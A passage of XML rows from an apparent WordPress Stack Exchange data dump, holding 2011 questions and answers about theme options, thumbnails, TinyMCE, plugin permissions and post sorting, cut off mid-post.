  <row Id="23680" PostTypeId="1" CreationDate="2011-07-21T15:53:58.580" Score="1" ViewCount="21" Body="&lt;p&gt;people need a user account on my site to be able to download a plugin. I want to add an activation function in the plugin so a user must supply their username and password the first time they use the plugin to make sure that they have a valid user account on my site before they can use it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the simplest way to remotely check a username and password to see if it valid or not from within a php file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to enable xml rpc on the site.&lt;/p&gt;&#xA;" OwnerUserId="699" LastActivityDate="2011-07-21T15:53:58.580" Title="how to remotely check a username / password from within a plugin" Tags="&lt;password&gt;&lt;username&gt;&lt;wp-remote-request&gt;" FavoriteCount="1" />
  <row Id="23681" PostTypeId="1" AcceptedAnswerId="23870" CreationDate="2011-07-21T15:59:16.463" Score="4" ViewCount="190" Body="&lt;p&gt;&lt;strong&gt;I'm trying to add a new option to a theme options panel&lt;/strong&gt; to hide/show the comments links in the theme template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the option to show up in the panel, but there's something wrong in that it doesn't work and there are no php errors. I've noted below in &lt;strong&gt;Main options code&lt;/strong&gt; where I've added the option as an array and where it is sanitized and validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;strong&gt;at the bottom&lt;/strong&gt; is the php that shows/hides the comments links according to the options setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a php logic problem? And ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main options code:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Describe the available options&#xA;**/&#xA;$vertigo_options_template = array(&#xA;array(&#xA;    'name' =&amp;gt; __( 'Accent Color', 'vertigo' ),&#xA;    'desc' =&amp;gt; __( 'Change the accent color by entering a HEX color number. (ie: &amp;lt;code&amp;gt;EE3322&amp;lt;/code&amp;gt;)', 'vertigo' ),&#xA;    'id' =&amp;gt; 'accent_color',&#xA;    'std' =&amp;gt; 'ee3322',&#xA;    'type' =&amp;gt; 'colorpicker'&#xA;),&#xA;&#xA;array(&#xA;    'name' =&amp;gt; __( 'Font', 'vertigo' ),&#xA;    'desc' =&amp;gt; __( 'Enable Hitchcock custom font (Note: this font only supports basic Latin uppercase letters, numerals, and some punctuation.)', 'vertigo' ),&#xA;    'id' =&amp;gt; 'vertigo_font',&#xA;    'std' =&amp;gt; ( '1' == get_option( 'lang_id' ) ) ? 'true' : 'false',&#xA;    'type' =&amp;gt; 'checkbox'&#xA;),  &#xA;&#xA;&#xA;/** My new Option  **/&#xA;&#xA;array(&#xA;    'name' =&amp;gt; __( 'Comments', 'vertigo' ),&#xA;    'desc' =&amp;gt; __( 'Disable comment links)', 'vertigo' ),&#xA;    'id' =&amp;gt; 'disable_comments_link',&#xA;    'std' =&amp;gt; ( '1' == get_option( 'lang_id' ) ) ? 'true' : 'false',&#xA;    'type' =&amp;gt; 'checkbox'&#xA;),  &#xA;);&#xA;&#xA;&#xA;/**&#xA;* Calculate default option values&#xA;*&#xA;* @return array&#xA;**/&#xA;function vertigo_get_default_options() {&#xA;global $vertigo_options_template;&#xA;$default_options = array();&#xA;&#xA;foreach ( $vertigo_options_template as $option )&#xA;    $default_options[$option['id']] = $option['std'];&#xA;&#xA;return $default_options;&#xA;}&#xA;&#xA;/**&#xA;* Create the options form&#xA;**/&#xA;function vertigo_theme_options_do_page() {&#xA;global $vertigo_options_template;&#xA;&#xA;if ( ! isset( $_REQUEST['settings-updated'] ) )&#xA;    $_REQUEST['settings-updated'] = false;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php screen_icon(); echo &quot;&amp;lt;h2&amp;gt;&quot; . get_current_theme() . ' ' . __( 'Theme Options', 'vertigo' ) . &quot;&amp;lt;/h2&amp;gt;&quot;; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( false !== $_REQUEST['settings-updated'] ) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e( 'Options saved.', 'vertigo' ); ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;        &amp;lt;?php settings_fields( 'vertigo_options' ); ?&amp;gt;&#xA;        &amp;lt;?php $vertigo_options = vertigo_get_theme_options(); ?&amp;gt;&#xA;&#xA;        &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php foreach ( $vertigo_options_template as $option ) {&#xA;            // Use default value if no option exists&#xA;            $value = ( isset ( $vertigo_options[$option['id']] ) &amp;amp;&amp;amp; !empty( $vertigo_options[$option['id']] ) ? $vertigo_options[$option['id']] : $option['std'] );&#xA;        ?&amp;gt;&#xA;            &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;                &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $option['name']; ?&amp;gt;&#xA;                &amp;lt;/th&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                &amp;lt;?php switch ( $option['type'] ) {&#xA;                    case 'colorpicker':&#xA;                ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;vertigo_theme_options[&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;]&quot; id=&quot;&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo esc_attr( $value ); ?&amp;gt;&quot; class=&quot;color { pickerPosition:'right' }&quot; /&amp;gt;&#xA;                &amp;lt;?php break;&#xA;&#xA;                case 'checkbox':&#xA;                ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;vertigo_theme_options[&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;]&quot; id=&quot;&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;&quot; value=&quot;true&quot; &amp;lt;?php echo ( 'true' == $value ) ? 'checked=&quot;checked&quot;' : ''; ?&amp;gt; /&amp;gt;&#xA;                &amp;lt;?php break;&#xA;&#xA;                    default:&#xA;                        break;&#xA;                } // END switch ?&amp;gt;&#xA;&#xA;                    &amp;lt;label class=&quot;description&quot; for=&quot;&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $option['desc']; ?&amp;gt;&#xA;                        &amp;lt;?php if ( 'vertigo_font' == $option['id'] ) { ?&amp;gt;&#xA;                            &amp;lt;img src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/inc/images/hitchcock.gif&quot; alt=&quot;Hitchcock&quot; id=&quot;hitchcock-sample&quot;/&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;/label&amp;gt; &#xA;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&#xA;        &amp;lt;?php } // END foreach ?&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;            &amp;lt;?php submit_button( __( 'Save Options', 'vertigo' ), 'primary', 'submit', false ); ?&amp;gt;&#xA;            &amp;lt;?php submit_button( __( 'Reset Options', 'vertigo' ), 'secondary', 'vertigo_theme_options[reset]', false, array( 'id' =&amp;gt; 'reset' ) ); ?&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .form-wrap --&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;/**&#xA;* Sanitize and validate form input&#xA;*&#xA;* @param array options&#xA;* @return array sanitized options&#xA;**/&#xA;function vertigo_theme_options_validate( $input ) {&#xA;global $vertigo_options_template;&#xA;$defaults = vertigo_get_default_options();&#xA;&#xA;// Check accent color input format&#xA;// Valid = hexadecimal 3 or 6 digits&#xA;$accent_color = preg_replace( '/[^0-9a-fA-F]/', '', $input['accent_color'] );&#xA;if ( 6 == strlen( $accent_color ) || 3 == strlen( $accent_color ) )&#xA;    $input['accent_color'] = $accent_color;&#xA;else&#xA;    $input['accent_color'] = $defaults['accent_color'];&#xA;&#xA;// Check that Vertigo font checkbox value is either true or false&#xA;if ( ! isset( $input['vertigo_font'] ) )&#xA;$input['vertigo_font'] = ( $input['vertigo_font'] == 'true' ? 'true' : 'false' );&#xA;&#xA;// My New Option: Check that Disable Comment Links checkbox value is either true or false&#xA;if ( ! isset( $input['disable_comments_link'] ) )&#xA;$input['disable_comments_link'] = ( $input['disable_comments_link'] == 'true' ? 'true' : 'false' );&#xA;&#xA;// Reset to default options&#xA;if ( ! empty( $input['reset'] ) ) {&#xA;    $defaults = vertigo_get_default_options();&#xA;    foreach ( $input as $field =&amp;gt; $value ) {&#xA;        if ( isset( $defaults[$field] ) )&#xA;            $input[$field] = $defaults[$field];&#xA;        else&#xA;            unset( $input[$field] );&#xA;    }&#xA;}&#xA;&#xA;return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And I'm using this in my template files to show/hide the comments template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( 'true' == $vertigo_theme_options['disable_comments_link'] ) { ?&amp;gt; &#xA;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is what the options look like in the DB called &lt;code&gt;vertigo_theme_options&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:3:{s:12:&quot;accent_color&quot;;s:6:&quot;EE3322&quot;;s:12:&quot;vertigo_font&quot;;s:4:&quot;true&quot;;s:21:&quot;disable_comments_link&quot;;s:5:&quot;true&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 7/25/11: This works in template file; need to call options first:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $vertigo_theme_options = get_option( 'vertigo_theme_options' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( 'false' == $vertigo_theme_options['disable_comments_link'] ) { ?&amp;gt; &#xA;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-25T22:06:53.567" LastActivityDate="2011-07-25T22:06:53.567" Title="Add a new checkbox in theme options" Tags="&lt;theme-development&gt;&lt;theme-options&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="23682" PostTypeId="1" CreationDate="2011-07-21T16:00:11.393" Score="0" ViewCount="7" Body="&lt;p&gt;Any way to make my video embeds apear as thumbnails on rss feed? I know that i can get that using smart youtube, but i whant full controll of videos and using the raw embed code is the best way.&lt;/p&gt;&#xA;" OwnerUserId="7027" LastActivityDate="2011-07-21T16:00:11.393" Title="Youtube irame embeds as Thumb+Link on RSS without plugin" Tags="&lt;rss&gt;&lt;embed&gt;&lt;youtube&gt;" />
  <row Id="23683" PostTypeId="2" ParentId="23381" CreationDate="2011-07-21T16:02:55.743" Score="0" ViewCount="" Body="&lt;p&gt;Give a look at this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;Search Everything&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-21T16:02:55.743" CommentCount="6" />
  <row Id="23684" PostTypeId="2" ParentId="23601" CreationDate="2011-07-21T16:11:51.760" Score="0" ViewCount="" Body="&lt;p&gt;Adding a post thumbnail is pretty easy, open content.php, if you're using excerpts on your homepage find this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add this just above that line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail('thumbnail', 'class=alignleft'); ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using excerpts add it above &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyeleven' ) ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like a specific image size for your post thumbnails you can add something like this to functions.php, change 140, 140 to whatever size you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_image_size('excerpt-thumbnail', 140, 140, true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail('thumbnail', 'class=alignleft'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail('excerpt-thumbnail', 'class=alignleft'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just add a featured image to a post. It's best to do this with by creating a child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what you're asking for the first two questions, maybe you could explain them a little more.&lt;/p&gt;&#xA;" OwnerUserId="5613" LastEditorUserId="5613" LastEditorDisplayName="" LastEditDate="2011-07-21T16:16:58.437" LastActivityDate="2011-07-21T16:16:58.437" />
  <row Id="23685" PostTypeId="1" CreationDate="2011-07-21T16:16:25.813" Score="0" ViewCount="77" Body="&lt;p&gt;I have found that no matter how much I try to inform users and document my websites, a lot of people still copy-paste their text from &lt;em&gt;Word&lt;/em&gt; documents right away into the &lt;em&gt;WP&lt;/em&gt; editor and don't use the &lt;code&gt;Paste from Word&lt;/code&gt; button in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this extra-step of using a button or changing tabs is apparently not user-friendly enough, I'm trying to figure out a way to make it all automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, can I run the &quot;cleanup&quot; function that is used by &lt;em&gt;TinyMCE&lt;/em&gt; to remove &lt;em&gt;Word&lt;/em&gt; noise somewhere else in my code, in a template or in a plugin ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : It seems that the portion of code doing the cleanup in &lt;em&gt;TinyMCE&lt;/em&gt; is in &lt;code&gt;/wp-includes/js/tinymce/plugins/paste/editor_plugin.php&lt;/code&gt;, in the function called &lt;a href=&quot;http://pastebin.com/jJi3j0xG&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_preProcess()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-22T06:40:10.587" LastActivityDate="2011-07-22T06:40:10.587" Title="Is there a way to use TinyMCE's Word junk code cleanup function in a plugin?" Tags="&lt;functions&gt;&lt;tinymce&gt;&lt;formatting&gt;&lt;ms-word&gt;" CommentCount="2" />
  <row Id="23686" PostTypeId="2" ParentId="23653" CreationDate="2011-07-21T16:19:46.230" Score="2" ViewCount="" Body="&lt;p&gt;That's not traditionally how breadcrumb navigation works, as I'm guessing you've discovered if you're trying to implement Breadcrumb NavXT. :) You might have better luck styling &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;wp_list_pages&lt;/a&gt; so the links display horizontally and highlight the page you're on? Here's where it describes how to display the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#List_current_Page.2C_ancestors_of_current_page.2C_and_children_of_current_page&quot; rel=&quot;nofollow&quot;&gt;current page / ancestors / children&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-21T16:19:46.230" />
  <row Id="23687" PostTypeId="1" CreationDate="2011-07-21T16:36:03.230" Score="0" ViewCount="34" Body="&lt;p&gt;I've been modifying a wordpress theme based on twentyten. I added something to functions.php, and made a slight syntax error, and immediately the whole of wordpress just loaded a blank page. No admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I got FTP access and restored the file. Wordpress is still totally broken. So, I disabled the theme via FTP, still nothing. I disabled the plugins, nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that a syntax error in functions.php could do to the wp install, and how could I revert it if so? If not, should I just totally reinstall wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help.&lt;/p&gt;&#xA;" OwnerUserId="7214" LastActivityDate="2011-08-21T21:33:06.747" Title="Broken theme broke wordpress, restoring theme didn't work?" Tags="&lt;php&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="23688" PostTypeId="2" ParentId="23136" CreationDate="2011-07-21T16:42:42.150" Score="0" ViewCount="" Body="&lt;p&gt;Rajeev's answer worked for me using your code.  In a blank install, I did the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;created a functions.php containing just your &lt;code&gt;portfolio_register&lt;/code&gt; function, and the &lt;code&gt;add_action&lt;/code&gt; hook that calls it&lt;/li&gt;&#xA;&lt;li&gt;created two galleries - &quot;aerial&quot; and &quot;not aerial&quot;.&lt;/li&gt;&#xA;&lt;li&gt;created four portfolios - &quot;aerial 1&quot;, &quot;aerial 2&quot;, &quot;not aerial&quot; and &quot;no gallery&quot;, putting them in the galleries the names imply (or none, in the case of &quot;no gallery&quot;).&lt;/li&gt;&#xA;&lt;li&gt;created &lt;code&gt;index.php&lt;/code&gt; containing just the first block of code you pasted.  The only change I made was to add &lt;code&gt;'galleries'=&amp;gt;'aerial'&lt;/code&gt; to your &lt;code&gt;$args&lt;/code&gt; variable:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$args = array( 'post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 10, 'galleries'=&amp;gt;'aerial' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only &quot;aerial 1&quot; and &quot;aerial 2&quot; were displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any chance your code's not being called (a different template maybe)?&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2011-07-21T16:42:42.150" />
  <row Id="23689" PostTypeId="2" ParentId="23676" CreationDate="2011-07-21T16:51:38.357" Score="0" ViewCount="" Body="&lt;p&gt;Here's a tutorial on how to export / import your WordPress database and run the queries you'll need so the new site works: &lt;a href=&quot;http://web-kreation.com/tutorials/migrating-a-wordpress-site-ftp-phpmyadmin-and-sql-queries/&quot; rel=&quot;nofollow&quot;&gt;http://web-kreation.com/tutorials/migrating-a-wordpress-site-ftp-phpmyadmin-and-sql-queries/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want a local environment so you can play around with themes, this is a good tutorial for setting that up on your Mac: &lt;a href=&quot;http://loneplacebo.com/how-to-install-mamp-on-mac-for-local-wordpress-theme-development/&quot; rel=&quot;nofollow&quot;&gt;http://loneplacebo.com/how-to-install-mamp-on-mac-for-local-wordpress-theme-development/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's how you could do that on a PC: &lt;a href=&quot;http://return-true.com/2010/09/setting-up-xampp-wordpress-for-local-testing/&quot; rel=&quot;nofollow&quot;&gt;http://return-true.com/2010/09/setting-up-xampp-wordpress-for-local-testing/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-21T16:51:38.357" />
  <row Id="23690" PostTypeId="1" AcceptedAnswerId="23717" CreationDate="2011-07-21T16:53:50.163" Score="0" ViewCount="25" Body="&lt;p&gt;I've been looking for a video plugin in the plugin depository but couldn't find one that I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want visitors to be able to play the video in the home page but the issue here is that the home page is displaying post excerpts. So if I would just post the video as normal, it would be cut in the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think I would need to hard code the video code of the plugin inside the loop in the home template file, like  where $video is the the video file in the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know a video plugin like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a work around here, like how to show video in the home page having post excepts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3305" LastEditorUserId="3305" LastEditorDisplayName="" LastEditDate="2011-07-21T17:10:56.623" LastActivityDate="2011-07-21T23:05:22.540" Title="Do you know a video plugin that allows embedding in the home.php file?" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="23691" PostTypeId="1" CreationDate="2011-07-21T17:15:38.217" Score="0" ViewCount="177" Body="&lt;p&gt;I've just updated a site to WordPress 3.2.1 and now the buttons in the editor are invisible. The button outlines are there but the icons don't show up. Some of the buttons work (bold, italic) but LINKS don't. Also, the rollover HINT text does show up for the buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening on two different computers, both Mac, with Safari and Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solved: Permissions in the TinyMCE folder in wp-includes was set to disallow anyone but the owner. Strange!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3960" LastActivityDate="2011-07-21T17:15:38.217" ClosedDate="2011-07-21T18:22:49.010" Title="TinyMCE editor broken after 3.2.1 upgrade" Tags="&lt;tinymce&gt;" />
  <row Id="23692" PostTypeId="1" AcceptedAnswerId="24623" CreationDate="2011-07-21T17:19:03.330" Score="0" ViewCount="24" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-migrate-db/&quot; rel=&quot;nofollow&quot;&gt;migrate db plugin&lt;/a&gt; to do some find and replaces to the database after it's been exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It continues to pester me with the directory isn't writeable error. I've went and chmod'd the whole /wp-content folder with the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chmod -R 777&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which i know you're not suppoose to do; but it's driving me nuts. it still has the same silly error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know which folder it's asking to give the correct permissions? &lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-08-01T20:03:15.337" Title="Migrate DB Plugin: Error &quot;The directory needs to be writable&quot;" Tags="&lt;plugins&gt;&lt;migration&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="23693" PostTypeId="1" CreationDate="2011-07-21T17:32:35.537" Score="0" ViewCount="45" Body="&lt;p&gt;My default thumbnail size is 150x150.  Therefore, if I use a custom thumbnail size, such as 75x75 it should use the thumbnail of 150x150 and shrink to fit to my size:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_post_thumbnail( $item-&amp;gt;ID, array(75,75))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it is basing the image off of a thumbnail size of 149x100.  The 150x150 image exists, but it refuses to use it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured heck with that, I'll just create a custom 75x75 thumbnail and that will solve the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;functions.php&#xA;add_image_size( 'listp-thumb', 75, 75, true ); // thumbnails located in list posts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to call the new thumbnail: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_post_thumbnail( $item-&amp;gt;ID, 'listp-thumb')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same thing happens. :(  Do I need to clear a custom query that may be interfering with this?&lt;/p&gt;&#xA;" OwnerUserId="7217" LastActivityDate="2011-07-21T17:57:50.410" ClosedDate="2011-07-21T18:23:29.993" Title="get_the_post_thumbnail ignores my default thumbnail size" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23694" PostTypeId="2" ParentId="23687" CreationDate="2011-07-21T17:55:03.783" Score="0" ViewCount="" Body="&lt;p&gt;Some things I would try would be first, check if you have any cache plugins installed, if so, remove them, just put them outside the plugin directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you could just move the theme causing the issues (move it to wp-content folder), and your site should default back to Twenty Ten after a refresh, then move the theme back and try to re-activate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still causes the same issue, then whatever you did to your functions was not reverted and you might want to show the actual code you added/removed that caused the issue.&lt;/p&gt;&#xA;" OwnerUserId="5613" LastActivityDate="2011-07-21T17:55:03.783" CommentCount="1" />
  <row Id="23695" PostTypeId="2" ParentId="23693" CreationDate="2011-07-21T17:57:50.410" Score="0" ViewCount="" Body="&lt;p&gt;Try installing &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&quot; rel=&quot;nofollow&quot;&gt;Ajax Rebuild Thumbnails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create the new image size.&lt;/p&gt;&#xA;" OwnerUserId="5613" LastActivityDate="2011-07-21T17:57:50.410" />
  <row Id="23696" PostTypeId="1" AcceptedAnswerId="23697" CreationDate="2011-07-21T18:15:21.087" Score="-1" ViewCount="11" Body="&lt;p&gt;My blog is on WordPress.com. In this &lt;a href=&quot;http://gowers.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;, one can see the &quot;recent comments&quot; in the right hand side of the homepage. But I can't find it in &lt;a href=&quot;http://yucao.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;mine&lt;/a&gt;. I am not able to find the setting button in my account. Could any one tell me how to do that?&lt;/p&gt;&#xA;" OwnerUserId="7104" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-21T18:30:32.360" LastActivityDate="2011-07-21T18:30:32.360" Title="&quot;recent comments&quot; in the wordpress.com blog page" Tags="&lt;wordpress.com&gt;&lt;support&gt;" AnswerCount="1" />
  <row Id="23697" PostTypeId="2" ParentId="23696" CreationDate="2011-07-21T18:25:32.147" Score="1" ViewCount="" Body="&lt;p&gt;See instructions for &lt;a href=&quot;http://en.support.wordpress.com/widgets/&quot; rel=&quot;nofollow&quot;&gt;Widgets at WordPress.com support&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-21T18:25:32.147" />
  <row Id="23700" PostTypeId="1" CreationDate="2011-07-21T19:37:25.570" Score="2" ViewCount="111" Body="&lt;p&gt;I've been troubleshooting an issue over the past few days and keep going in circles.  Could really use a fresh pair of eyes to help me answer this question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm working with a wordpress site where posts have a few custom fields relevant to the query I need to run: &quot;post-expired&quot; and &quot;my-sort-order&quot;.  When I run my query_posts I want the results to be posts where the &quot;post-expired&quot; is NOT &quot;yes&quot; (this part works in my code).  I also want the results sorted by the DESC number value of &quot;my-sort-order&quot; (works as well) AND if there's a tie on &quot;my-sort-order&quot; I would like a secondary sort by date with the most recent posts first.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The secondary sort by date is where I'm having trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php               &#xA;$args = array(&#xA;    'paged' =&amp;gt; $paged,&#xA;    'meta_query'=&amp;gt; array(&#xA;        array(&#xA;            'key'=&amp;gt;'post-expired',&#xA;            'value'=&amp;gt; 'yes',&#xA;            'compare' =&amp;gt; '!='&#xA;        )&#xA;    ),&#xA;    'meta_key'=&amp;gt;'my-sort-order',&#xA;    'orderby'=&amp;gt;'meta_value_num', &#xA;    'order'=&amp;gt;'DESC'&#xA;);&#xA;&#xA;$args = array_merge( $args , $wp_query-&amp;gt;query );&#xA;&#xA;query_posts( $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the code above I correctly get back the non-expired posts and they're sorted by my-sort-order descending (i.e. 100 shows up before 99, etc).  But if both posts have the same sort order value there is some type of secondary sort happening I can't seem to control (and can't figure out what it is actually being sorted on).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first idea to solve this was to only add values to &quot;my-sort-order&quot; if I wanted to set a specific sort order for that post.  I thought if the value for this field was left blank for the rest of the posts, they would simply be returned in the default sort by DESC date (after the posts 